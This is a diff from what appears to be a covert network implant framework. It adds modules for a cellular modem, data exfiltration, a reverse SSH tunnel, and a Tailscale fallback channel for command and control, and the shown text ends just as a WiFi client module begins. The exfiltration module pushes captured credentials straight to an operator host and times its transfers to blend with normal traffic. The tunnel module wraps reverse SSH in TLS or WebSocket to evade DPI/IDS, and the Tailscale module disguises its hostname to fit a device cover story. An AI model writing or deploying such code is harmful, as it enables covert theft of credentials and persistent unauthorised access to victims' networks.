# Basic AT test
resp = self._at_command("AT")
if not resp or "OK" not in resp:
logger.error("Modem not responding to AT commands on %s", self._modem_device)
return False
# Disable echo
self._at_command("ATE0")
# Get modem model
resp = self._at_command("AT+CGMM")
if resp:
lines = [l.strip() for l in resp.splitlines() if l.strip() and l.strip() != "OK"]
if lines:
self._modem_model = lines[0]
# Check SIM
resp = self._at_command("AT+CPIN?")
if not resp or "READY" not in resp:
logger.error("SIM not ready: %s", resp)
return False
logger.info("Modem initialized: %s, SIM ready", self._modem_model)
return True
def _at_command(self, cmd: str, expect_prompt: bool = False) -> Optional[str]:
"""Send an AT command and return the response."""
if not self._serial or not self._serial.is_open:
return None
try:
# Flush input
self._serial.reset_input_buffer()
# Send command
self._serial.write((cmd + "\r\n").encode())
if expect_prompt:
# Wait for > prompt
time.sleep(0.5)
data = self._serial.read(self._serial.in_waiting)
return data.decode(errors='replace')
# Read response
time.sleep(0.5)
response = b""
deadline = time.time() + AT_TIMEOUT
while time.time() < deadline:
if self._serial.in_waiting:
response += self._serial.read(self._serial.in_waiting)
# Check for final result codes
decoded = response.decode(errors='replace')
if any(code in decoded for code in ("OK", "ERROR", "+CME ERROR", "+CMS ERROR")):
return decoded
time.sleep(0.1)
return response.decode(errors='replace') if response else None
except (serial.SerialException, OSError) as exc:
logger.debug("AT command error: %s", exc)
return None
+450
View File
@@ -0,0 +1,450 @@
#!/usr/bin/env python3
"""Data exfiltration module — priority-based data transport.
Manages data exfiltration through the connectivity chain with three
priority tiers:
IMMEDIATE: Credentials — pushed as captured via fastest available channel
NIGHTLY: Intel summaries, topology updates — scheduled nightly sync
ON_DEMAND: PCAPs — large files pulled by operator when needed
Respects traffic_mimicry baseline — times transfers to match normal upload
patterns so exfil activity blends with legitimate traffic.
Falls back through connectivity chain:
WireGuard -> Tailscale -> reverse_ssh -> cellular
"""
import json
import logging
import os
import subprocess
import threading
import time
from collections import deque
from dataclasses import dataclass, field
from enum import IntEnum
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from core.bus import Event
logger = logging.getLogger("bb.connectivity.data_exfil")
class ExfilPriority(IntEnum):
"""Exfiltration priority levels."""
IMMEDIATE = 0 # Credentials — push now
NIGHTLY = 1 # Intel/topology — batch nightly
ON_DEMAND = 2 # PCAPs — operator pulls
@dataclass
class ExfilJob:
"""A pending exfiltration task."""
path: str
priority: ExfilPriority
created: float = field(default_factory=time.time)
attempts: int = 0
last_attempt: float = 0
size_bytes: int = 0
description: str = ""
# Connectivity chain — tried in order of preference
CONNECTIVITY_CHAIN = ["wireguard", "tailscale", "reverse_tunnel", "cellular_backup"]
NIGHTLY_HOUR = 2 # 2 AM local time for nightly sync
MAX_ATTEMPTS = 5
RETRY_BACKOFF = 60 # seconds between retries
class DataExfil(BaseModule):
"""Priority-based data exfiltration through the connectivity chain."""
name = "data_exfil"
module_type = "connectivity"
priority = -100
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._immediate_queue: deque = deque(maxlen=1000)
self._nightly_queue: deque = deque(maxlen=500)
self._on_demand_queue: deque = deque(maxlen=200)
self._worker_thread: Optional[threading.Thread] = None
self._nightly_thread: Optional[threading.Thread] = None
self._lock = threading.Lock()
self._stats = {
"files_sent": 0,
"bytes_sent": 0,
"creds_pushed": 0,
"nightly_syncs": 0,
"failures": 0,
}
self._remote_base: Optional[str] = None
self._remote_user: Optional[str] = None
self._ssh_key: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
exfil_cfg = self.config.get("connectivity", {}).get("data_exfil", {})
self._remote_base = exfil_cfg.get("remote_base", "/data/exfil")
self._remote_user = exfil_cfg.get("remote_user", "operator")
self._ssh_key = exfil_cfg.get("ssh_key")
# Subscribe to credential events for immediate push
self.bus.subscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND")
# Start worker thread for processing queues
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._worker_thread = threading.Thread(
target=self._worker_loop, daemon=True, name="bb-exfil-worker",
)
self._worker_thread.start()
# Start nightly sync scheduler
self._nightly_thread = threading.Thread(
target=self._nightly_scheduler, daemon=True, name="bb-exfil-nightly",
)
self._nightly_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("Data exfil module active")
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND")
if self._worker_thread and self._worker_thread.is_alive():
self._worker_thread.join(timeout=5.0)
if self._nightly_thread and self._nightly_thread.is_alive():
self._nightly_thread.join(timeout=5.0)
self.state.set_module_status(self.name, "stopped")
logger.info("Data exfil stopped (sent=%d, bytes=%d, failures=%d)",
self._stats["files_sent"], self._stats["bytes_sent"],
self._stats["failures"])
def status(self) -> dict:
with self._lock:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"queue_immediate": len(self._immediate_queue),
"queue_nightly": len(self._nightly_queue),
"queue_on_demand": len(self._on_demand_queue),
"stats": dict(self._stats),
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self._worker_thread is not None and self._worker_thread.is_alive()
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def push_file(self, path: str, priority: int = ExfilPriority.NIGHTLY,
description: str = "") -> bool:
"""Queue a file for exfiltration at the given priority."""
if not os.path.isfile(path):
logger.warning("Exfil target does not exist: %s", path)
return False
try:
size = os.path.getsize(path)
except OSError:
size = 0
job = ExfilJob(
path=path,
priority=ExfilPriority(priority),
size_bytes=size,
description=description,
)
with self._lock:
if priority == ExfilPriority.IMMEDIATE:
self._immediate_queue.append(job)
elif priority == ExfilPriority.NIGHTLY:
self._nightly_queue.append(job)
else:
self._on_demand_queue.append(job)
logger.debug("Queued for exfil (%s): %s (%d bytes)",
ExfilPriority(priority).name, path, size)
return True
def sync_intel(self) -> bool:
"""Trigger an immediate sync of all queued intel/nightly data."""
logger.info("Manual intel sync triggered")
return self._process_nightly_queue()
def get_exfil_stats(self) -> dict:
"""Return exfil statistics."""
with self._lock:
return dict(self._stats)
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_credential_found(self, event: Event) -> None:
"""Handle CREDENTIAL_FOUND events — push immediately."""
payload = event.payload
cred_file = payload.get("file")
cred_data = payload.get("data")
if cred_file and os.path.isfile(cred_file):
self.push_file(cred_file, ExfilPriority.IMMEDIATE,
description=f"credential: {payload.get('type', 'unknown')}")
elif cred_data:
# Write credential data to a temp file for exfil
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else "/tmp"
cred_path = os.path.join(tmpdir, f".cred_{int(time.time())}.json")
try:
fd = os.open(cred_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
try:
os.write(fd, json.dumps(cred_data).encode())
finally:
os.close(fd)
self.push_file(cred_path, ExfilPriority.IMMEDIATE,
description="credential_data")
except OSError as exc:
logger.error("Failed to write credential for exfil: %s", exc)
with self._lock:
self._stats["creds_pushed"] += 1
# ------------------------------------------------------------------
# Worker threads
# ------------------------------------------------------------------
def _worker_loop(self) -> None:
"""Main worker: drain immediate queue, respecting traffic mimicry."""
while self._running:
# Process immediate queue first
job = None
with self._lock:
if self._immediate_queue:
job = self._immediate_queue.popleft()
if job:
self._process_job(job)
else:
time.sleep(5.0)
def _nightly_scheduler(self) -> None:
"""Wait until NIGHTLY_HOUR and trigger nightly sync."""
while self._running:
now = time.localtime()
if now.tm_hour == NIGHTLY_HOUR and now.tm_min < 5:
# Check traffic mimicry — is this a normal upload time?
if self._is_upload_window():
self._process_nightly_queue()
with self._lock:
self._stats["nightly_syncs"] += 1
# Sleep past the window to avoid re-triggering
time.sleep(3600)
continue
time.sleep(60)
def _process_job(self, job: ExfilJob) -> bool:
"""Transfer a single file through the connectivity chain."""
job.attempts += 1
job.last_attempt = time.time()
# Try each connectivity method in order
for conn_name in CONNECTIVITY_CHAIN:
conn_status = self.state.get_module_status(conn_name)
if conn_status.get("status") != "running":
continue
if self._transfer_file(job.path, conn_name):
with self._lock:
self._stats["files_sent"] += 1
self._stats["bytes_sent"] += job.size_bytes
logger.info("Exfil success: %s via %s (%d bytes)",
job.path, conn_name, job.size_bytes)
# Clean up temp credential files after successful send
if job.path.startswith(("/dev/shm/", "/tmp/")) and ".cred_" in job.path:
try:
os.unlink(job.path)
except OSError:
pass
return True
# All channels failed — re-queue if under max attempts
with self._lock:
self._stats["failures"] += 1
if job.attempts < MAX_ATTEMPTS:
logger.warning("Exfil failed for %s (attempt %d/%d), re-queuing",
job.path, job.attempts, MAX_ATTEMPTS)
time.sleep(RETRY_BACKOFF)
with self._lock:
if job.priority == ExfilPriority.IMMEDIATE:
self._immediate_queue.append(job)
else:
self._nightly_queue.append(job)
else:
logger.error("Exfil permanently failed for %s after %d attempts",
job.path, MAX_ATTEMPTS)
return False
def _process_nightly_queue(self) -> bool:
"""Process all items in the nightly queue."""
success = True
while self._running:
with self._lock:
if not self._nightly_queue:
break
job = self._nightly_queue.popleft()
if not self._process_job(job):
success = False
# Brief pause between files to avoid traffic bursts
time.sleep(2.0)
return success
# ------------------------------------------------------------------
# Transfer methods
# ------------------------------------------------------------------
def _transfer_file(self, local_path: str, via_module: str) -> bool:
"""Transfer a file using rsync/scp over the specified connectivity module."""
if not os.path.isfile(local_path):
return False
# Determine remote target based on connectivity module
remote_host = self._get_remote_host(via_module)
if not remote_host:
return False
remote_path = f"{self._remote_user}@{remote_host}:{self._remote_base}/"
# Build SSH options
ssh_opts = [
"-o", "StrictHostKeyChecking=no",
"-o", "UserKnownHostsFile=/dev/null",
"-o", "LogLevel=ERROR",
"-o", "ConnectTimeout=10",
]
if self._ssh_key:
ssh_opts.extend(["-i", self._ssh_key])
# Try rsync first (delta transfer, bandwidth efficient)
if self._try_rsync(local_path, remote_path, ssh_opts):
return True
# Fallback to scp
return self._try_scp(local_path, remote_path, ssh_opts)
def _try_rsync(self, local_path: str, remote_path: str,
ssh_opts: list) -> bool:
"""Attempt file transfer via rsync."""
ssh_cmd = "ssh " + " ".join(ssh_opts)
cmd = [
"rsync", "-az", "--timeout=30",
"-e", ssh_cmd,
local_path, remote_path,
]
try:
result = subprocess.run(
cmd, capture_output=True, timeout=120,
)
return result.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _try_scp(self, local_path: str, remote_path: str,
ssh_opts: list) -> bool:
"""Attempt file transfer via scp."""
cmd = ["scp", "-q"] + ssh_opts + [local_path, remote_path]
try:
result = subprocess.run(
cmd, capture_output=True, timeout=120,
)
return result.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _get_remote_host(self, via_module: str) -> Optional[str]:
"""Get the remote host address for a connectivity module."""
if via_module == "wireguard":
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
# Use the WireGuard peer's allowed IP (operator side)
allowed = wg_cfg.get("allowed_ips", "")
if "/" in allowed:
return allowed.split("/")[0]
return allowed if allowed else None
elif via_module == "tailscale":
# Get Tailscale IP of the operator machine from config
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
return ts_cfg.get("operator_ip")
elif via_module == "reverse_tunnel":
# Reverse tunnel goes through localhost (port is forwarded)
return "127.0.0.1"
elif via_module == "cellular_backup":
# Cellular uses a separate relay
cell_cfg = self.config.get("connectivity", {}).get("cellular", {})
return cell_cfg.get("exfil_host")
return None
# ------------------------------------------------------------------
# Traffic mimicry integration
# ------------------------------------------------------------------
def _is_upload_window(self) -> bool:
"""Check if current time falls within a normal upload window.
Reads the traffic mimicry baseline to determine if now is a
reasonable time for upload activity.
"""
baseline = self.state.get("traffic_mimicry", "upload_hours", default=None)
if not baseline:
# No baseline — allow all hours
return True
try:
if isinstance(baseline, str):
allowed_hours = json.loads(baseline)
else:
allowed_hours = baseline
current_hour = time.localtime().tm_hour
return current_hour in allowed_hours
except (json.JSONDecodeError, TypeError):
return True
+406
View File
@@ -0,0 +1,406 @@
#!/usr/bin/env python3
"""Reverse tunnel module — autossh reverse SSH over TLS/WebSocket.
Establishes a persistent reverse SSH tunnel using autossh with automatic
reconnection. The SSH connection is NEVER raw on port 443 — it MUST be
wrapped in TLS (via stunnel) or transported over WebSocket to avoid
protocol fingerprinting by DPI/IDS.
Tunnel chain:
implant -> stunnel (local TLS wrap) -> relay:443 -> sshd
OR
implant -> SSH-over-WebSocket -> relay:443 -> ws-to-ssh proxy -> sshd
"""
import logging
import os
import signal
import subprocess
import tempfile
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.reverse_tunnel")
AUTOSSH_BIN = "/usr/bin/autossh"
STUNNEL_BIN = "/usr/bin/stunnel"
SSH_BIN = "/usr/bin/ssh"
CONNECT_TIMEOUT = 30 # seconds
class ReverseTunnel(BaseModule):
"""Reverse SSH tunnel via autossh, wrapped in TLS or WebSocket."""
name = "reverse_tunnel"
module_type = "connectivity"
priority = -100
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._autossh_proc: Optional[subprocess.Popen] = None
self._stunnel_proc: Optional[subprocess.Popen] = None
self._relay_host: Optional[str] = None
self._relay_port: int = 443
self._relay_user: Optional[str] = None
self._key_file: Optional[str] = None
self._remote_port: int = 0
self._monitor_port: int = 0
self._transport: str = "stunnel" # "stunnel" or "websocket"
self._stunnel_config_path: Optional[str] = None
self._ssh_config_path: Optional[str] = None
self._local_stunnel_port: int = 0
self._connected = False
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
tun_cfg = self.config.get("connectivity", {}).get("reverse_tunnel", {})
if not tun_cfg:
logger.error("No reverse_tunnel config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._relay_host = tun_cfg.get("relay_host")
self._relay_port = tun_cfg.get("relay_port", 443)
self._relay_user = tun_cfg.get("relay_user", "tunnel")
self._key_file = tun_cfg.get("key_file")
self._remote_port = tun_cfg.get("remote_port", 22222)
self._monitor_port = tun_cfg.get("monitor_port", 0)
self._transport = tun_cfg.get("transport", "stunnel")
if not self._relay_host:
logger.error("relay_host not configured for reverse tunnel")
self.state.set_module_status(self.name, "error")
return
if not self._key_file or not os.path.isfile(self._key_file):
logger.error("SSH key file not found: %s", self._key_file)
self.state.set_module_status(self.name, "error")
return
if not self.connect():
self.state.set_module_status(self.name, "error")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._connected = True
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up",
"relay": self._relay_host, "remote_port": self._remote_port,
"transport": self._transport},
source_module=self.name)
logger.info("Reverse tunnel up — %s:%d via %s (transport: %s)",
self._relay_host, self._remote_port,
self._relay_port, self._transport)
def stop(self) -> None:
if not self._running:
return
self.disconnect()
self._running = False
self._connected = False
# Cleanup temp configs
for path in (self._stunnel_config_path, self._ssh_config_path):
if path and os.path.isfile(path):
try:
os.unlink(path)
except OSError:
pass
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("Reverse tunnel stopped")
def status(self) -> dict:
autossh_alive = (self._autossh_proc is not None and
self._autossh_proc.poll() is None)
stunnel_alive = (self._stunnel_proc is not None and
self._stunnel_proc.poll() is None)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"connected": self._connected,
"relay_host": self._relay_host,
"relay_port": self._relay_port,
"remote_port": self._remote_port,
"transport": self._transport,
"autossh_alive": autossh_alive,
"autossh_pid": self._autossh_proc.pid if self._autossh_proc else None,
"stunnel_alive": stunnel_alive,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_connected()
# ------------------------------------------------------------------
# Tunnel operations
# ------------------------------------------------------------------
def connect(self) -> bool:
"""Establish the reverse tunnel: start stunnel/ws, then autossh."""
if self._transport == "stunnel":
if not self._start_stunnel():
return False
ssh_target_host = "127.0.0.1"
ssh_target_port = self._local_stunnel_port
elif self._transport == "websocket":
# WebSocket transport uses SSH ProxyCommand with a ws client
ssh_target_host = self._relay_host
ssh_target_port = self._relay_port
else:
logger.error("Unknown transport: %s (must be 'stunnel' or 'websocket')",
self._transport)
return False
# Write SSH config for strict options
self._ssh_config_path = self._write_ssh_config(ssh_target_host, ssh_target_port)
# Build autossh command
env = dict(os.environ)
env["AUTOSSH_GATETIME"] = "0" # Don't require initial connection time
env["AUTOSSH_POLL"] = "30" # Check connection every 30s
if self._monitor_port:
env["AUTOSSH_PORT"] = str(self._monitor_port)
else:
env["AUTOSSH_PORT"] = "0" # Disable monitoring port, use ServerAlive
ssh_cmd = [
SSH_BIN,
"-F", self._ssh_config_path,
"-N", # No shell
"-T", # No PTY
"-R", f"{self._remote_port}:127.0.0.1:22",
"-i", self._key_file,
"-o", "StrictHostKeyChecking=no",
"-o", "UserKnownHostsFile=/dev/null",
"-o", "ServerAliveInterval=15",
"-o", "ServerAliveCountMax=3",
"-o", "ExitOnForwardFailure=yes",
"-o", "LogLevel=ERROR",
]
# WebSocket transport uses ProxyCommand
if self._transport == "websocket":
proxy_cmd = self._get_ws_proxy_command()
if proxy_cmd:
ssh_cmd.extend(["-o", f"ProxyCommand={proxy_cmd}"])
ssh_cmd.extend([
"-p", str(ssh_target_port),
f"{self._relay_user}@{ssh_target_host}",
])
else:
ssh_cmd.extend([
"-p", str(ssh_target_port),
f"{self._relay_user}@{ssh_target_host}",
])
autossh_cmd = [AUTOSSH_BIN, "-M", str(self._monitor_port)] + ssh_cmd[1:]
# autossh wraps ssh; pass the ssh binary path
autossh_cmd = [AUTOSSH_BIN] + ssh_cmd
try:
self._autossh_proc = subprocess.Popen(
autossh_cmd,
stdout=subprocess.DEVNULL,
stderr=subprocess.PIPE,
env=env,
)
except FileNotFoundError:
logger.error("autossh not found at %s", AUTOSSH_BIN)
return False
except OSError as exc:
logger.error("Failed to start autossh: %s", exc)
return False
# Wait briefly to check if process dies immediately
time.sleep(2.0)
if self._autossh_proc.poll() is not None:
stderr = ""
try:
stderr = self._autossh_proc.stderr.read().decode(errors='replace')[:500]
except Exception:
pass
logger.error("autossh exited immediately: %s", stderr)
self._cleanup_stunnel()
return False
logger.info("autossh started (PID %d)", self._autossh_proc.pid)
return True
def disconnect(self) -> None:
"""Tear down the reverse tunnel."""
# Stop autossh
if self._autossh_proc and self._autossh_proc.poll() is None:
try:
self._autossh_proc.terminate()
self._autossh_proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
self._autossh_proc.kill()
try:
self._autossh_proc.wait(timeout=2.0)
except subprocess.TimeoutExpired:
pass
self._autossh_proc = None
# Stop stunnel
self._cleanup_stunnel()
self._connected = False
def is_connected(self) -> bool:
"""Check if the autossh process is alive."""
if self._autossh_proc is None:
return False
alive = self._autossh_proc.poll() is None
self._connected = alive
return alive
# ------------------------------------------------------------------
# stunnel management
# ------------------------------------------------------------------
def _start_stunnel(self) -> bool:
"""Start stunnel to wrap SSH in TLS."""
# Pick a random high port for local stunnel listener
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind(("127.0.0.1", 0))
self._local_stunnel_port = s.getsockname()[1]
config_content = (
f"pid =\n" # Don't write PID file
f"foreground = yes\n"
f"syslog = no\n"
f"debug = 0\n"
f"\n"
f"[ssh-tunnel]\n"
f"client = yes\n"
f"accept = 127.0.0.1:{self._local_stunnel_port}\n"
f"connect = {self._relay_host}:{self._relay_port}\n"
f"TIMEOUTconnect = 10\n"
)
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
self._stunnel_config_path = os.path.join(tmpdir, ".stunnel_bb.conf")
fd = os.open(self._stunnel_config_path,
os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
try:
os.write(fd, config_content.encode())
finally:
os.close(fd)
try:
self._stunnel_proc = subprocess.Popen(
[STUNNEL_BIN, self._stunnel_config_path],
stdout=subprocess.DEVNULL,
stderr=subprocess.PIPE,
)
except FileNotFoundError:
logger.error("stunnel not found at %s", STUNNEL_BIN)
return False
except OSError as exc:
logger.error("Failed to start stunnel: %s", exc)
return False
# Wait for stunnel to be ready
time.sleep(1.0)
if self._stunnel_proc.poll() is not None:
stderr = ""
try:
stderr = self._stunnel_proc.stderr.read().decode(errors='replace')[:500]
except Exception:
pass
logger.error("stunnel exited: %s", stderr)
return False
logger.debug("stunnel listening on 127.0.0.1:%d -> %s:%d",
self._local_stunnel_port, self._relay_host, self._relay_port)
return True
def _cleanup_stunnel(self) -> None:
"""Stop the stunnel process."""
if self._stunnel_proc and self._stunnel_proc.poll() is None:
try:
self._stunnel_proc.terminate()
self._stunnel_proc.wait(timeout=3.0)
except subprocess.TimeoutExpired:
self._stunnel_proc.kill()
try:
self._stunnel_proc.wait(timeout=2.0)
except subprocess.TimeoutExpired:
pass
self._stunnel_proc = None
# ------------------------------------------------------------------
# SSH config
# ------------------------------------------------------------------
def _write_ssh_config(self, host: str, port: int) -> str:
"""Write a transient SSH config file."""
config = (
f"Host tunnel-relay\n"
f" HostName {host}\n"
f" Port {port}\n"
f" User {self._relay_user}\n"
f" IdentityFile {self._key_file}\n"
f" StrictHostKeyChecking no\n"
f" UserKnownHostsFile /dev/null\n"
f" ServerAliveInterval 15\n"
f" ServerAliveCountMax 3\n"
f" ExitOnForwardFailure yes\n"
f" LogLevel ERROR\n"
)
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
path = os.path.join(tmpdir, ".ssh_tunnel_bb.conf")
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
try:
os.write(fd, config.encode())
finally:
os.close(fd)
return path
def _get_ws_proxy_command(self) -> Optional[str]:
"""Return a ProxyCommand string for SSH-over-WebSocket."""
# websocat is the preferred tool for ws-to-tcp proxying
websocat = "/usr/bin/websocat"
if os.path.isfile(websocat):
return (f"{websocat} --binary "
f"wss://{self._relay_host}:{self._relay_port}/ssh "
f"--tls-domain {self._relay_host}")
# Fallback: wstunnel
wstunnel = "/usr/bin/wstunnel"
if os.path.isfile(wstunnel):
return (f"{wstunnel} client "
f"-L stdio://127.0.0.1:0 "
f"wss://{self._relay_host}:{self._relay_port}")
logger.warning("No WebSocket proxy tool found (websocat or wstunnel)")
return None
+290
View File
@@ -0,0 +1,290 @@
#!/usr/bin/env python3
"""Tailscale module — fallback operator access via Tailscale mesh VPN.
FALLBACK ONLY. Tailscale maintains persistent connections to coordination
servers — it is chatty by design. Use only when:
1. WireGuard is blocked by the target network
2. Target network already has Tailscale traffic (blends in)
Manages the tailscaled daemon via subprocess. Authenticates with a
per-engagement auth key and sets hostname to match the MAC profile
(e.g., "amazon-fire-tv-xxx") for consistency with the device cover story.
"""
import logging
import os
import subprocess
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.tailscale")
TAILSCALE_BIN = "/usr/bin/tailscale"
TAILSCALED_BIN = "/usr/sbin/tailscaled"
STARTUP_TIMEOUT = 30 # seconds to wait for tailscaled to be ready
class Tailscale(BaseModule):
"""Fallback C2 — Tailscale mesh VPN managed as subprocess."""
name = "tailscale"
module_type = "connectivity"
priority = -150
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._daemon_proc: Optional[subprocess.Popen] = None
self._auth_key: Optional[str] = None
self._hostname: Optional[str] = None
self._connected = False
self._tailscale_ip: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
if not ts_cfg:
logger.error("No tailscale config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._auth_key = ts_cfg.get("auth_key")
self._hostname = ts_cfg.get("hostname")
if not self._auth_key:
logger.error("Tailscale auth_key not configured")
self.state.set_module_status(self.name, "error")
return
# If no hostname specified, try to match MAC profile
if not self._hostname:
mac_hostname = self.state.get(
"mac_manager", "dhcp_hostname", default=None
)
if mac_hostname:
self._hostname = mac_hostname.replace(" ", "-").lower()
else:
self._hostname = f"bb-{os.urandom(3).hex()}"
# Start tailscaled daemon
if not self._start_daemon(ts_cfg):
self.state.set_module_status(self.name, "error")
return
# Authenticate and bring up
if not self.up(self._auth_key):
logger.error("Failed to bring Tailscale up")
self._stop_daemon()
self.state.set_module_status(self.name, "error")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._connected = True
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up",
"ip": self._tailscale_ip, "hostname": self._hostname},
source_module=self.name)
logger.info("Tailscale up — hostname=%s, ip=%s",
self._hostname, self._tailscale_ip)
def stop(self) -> None:
if not self._running:
return
self.down()
self._stop_daemon()
self._running = False
self._connected = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("Tailscale stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"connected": self._connected,
"ip": self._tailscale_ip,
"hostname": self._hostname,
"daemon_pid": self._daemon_proc.pid if self._daemon_proc else None,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_connected()
# ------------------------------------------------------------------
# Tailscale operations
# ------------------------------------------------------------------
def up(self, auth_key: str) -> bool:
"""Authenticate and bring Tailscale up with the given auth key."""
try:
cmd = [TAILSCALE_BIN, "up",
"--authkey", auth_key,
"--hostname", self._hostname,
"--accept-routes"]
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=30,
)
if result.returncode != 0:
logger.error("tailscale up failed: %s", result.stderr.strip())
return False
# Get assigned IP
self._tailscale_ip = self.get_ip()
return self._tailscale_ip is not None
except subprocess.TimeoutExpired:
logger.error("tailscale up timed out")
return False
def down(self) -> bool:
"""Bring Tailscale down (logout and disconnect)."""
try:
subprocess.run(
[TAILSCALE_BIN, "logout"],
capture_output=True, timeout=15,
)
subprocess.run(
[TAILSCALE_BIN, "down"],
capture_output=True, timeout=15,
)
self._connected = False
return True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
logger.warning("Error during tailscale down: %s", exc)
return False
def is_connected(self) -> bool:
"""Check if Tailscale is connected and has an IP."""
try:
result = subprocess.run(
[TAILSCALE_BIN, "status", "--json"],
capture_output=True, text=True, timeout=10,
)
if result.returncode != 0:
return False
import json
status = json.loads(result.stdout)
backend_state = status.get("BackendState", "")
self._connected = backend_state == "Running"
return self._connected
except (subprocess.TimeoutExpired, ValueError, KeyError):
return False
def get_ip(self) -> Optional[str]:
"""Get the Tailscale IPv4 address."""
try:
result = subprocess.run(
[TAILSCALE_BIN, "ip", "-4"],
capture_output=True, text=True, timeout=10,
)
if result.returncode == 0 and result.stdout.strip():
ip = result.stdout.strip().splitlines()[0]
self._tailscale_ip = ip
return ip
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
pass
return None
# ------------------------------------------------------------------
# Daemon management
# ------------------------------------------------------------------
def _start_daemon(self, ts_cfg: dict) -> bool:
"""Start tailscaled as a managed subprocess."""
state_dir = ts_cfg.get("state_dir", "/var/lib/tailscale")
socket_path = ts_cfg.get("socket", "/var/run/tailscale/tailscaled.sock")
os.makedirs(state_dir, exist_ok=True)
os.makedirs(os.path.dirname(socket_path), exist_ok=True)
cmd = [
TAILSCALED_BIN,
f"--state={state_dir}/tailscaled.state",
f"--socket={socket_path}",
"--tun=userspace-networking",
]
try:
self._daemon_proc = subprocess.Popen(
cmd,
stdout=subprocess.DEVNULL,
stderr=subprocess.PIPE,
)
except FileNotFoundError:
logger.error("tailscaled binary not found at %s", TAILSCALED_BIN)
return False
except OSError as exc:
logger.error("Failed to start tailscaled: %s", exc)
return False
# Wait for daemon to be ready
deadline = time.time() + STARTUP_TIMEOUT
while time.time() < deadline:
if self._daemon_proc.poll() is not None:
stderr = self._daemon_proc.stderr.read().decode(errors='replace')
logger.error("tailscaled exited prematurely: %s", stderr[:500])
return False
try:
result = subprocess.run(
[TAILSCALE_BIN, "status"],
capture_output=True, timeout=5,
)
# Any response (even "not logged in") means daemon is ready
if result.returncode in (0, 1):
logger.debug("tailscaled is ready")
return True
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
time.sleep(1.0)
logger.error("tailscaled did not become ready within %ds", STARTUP_TIMEOUT)
self._stop_daemon()
return False
def _stop_daemon(self) -> None:
"""Stop the tailscaled subprocess."""
if self._daemon_proc is None:
return
if self._daemon_proc.poll() is None:
try:
self._daemon_proc.terminate()
self._daemon_proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
logger.warning("tailscaled did not stop after SIGTERM, killing")
self._daemon_proc.kill()
try:
self._daemon_proc.wait(timeout=2.0)
except subprocess.TimeoutExpired:
pass
self._daemon_proc = None
+452
View File
@@ -0,0 +1,452 @@
#!/usr/bin/env python3
"""WiFi client module — managed wpa_supplicant for WiFi connectivity.
Supports WPA2-PSK and WPA2-Enterprise (PEAP/EAP-TLS). Generates
wpa_supplicant.conf from config parameters, manages the wpa_supplicant
process, and monitors connection quality.
"""
import logging
import os
import subprocess
import tempfile
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.connectivity.wifi_client")
WPA_SUPPLICANT_BIN = "/sbin/wpa_supplicant"
WPA_CLI_BIN = "/sbin/wpa_cli"
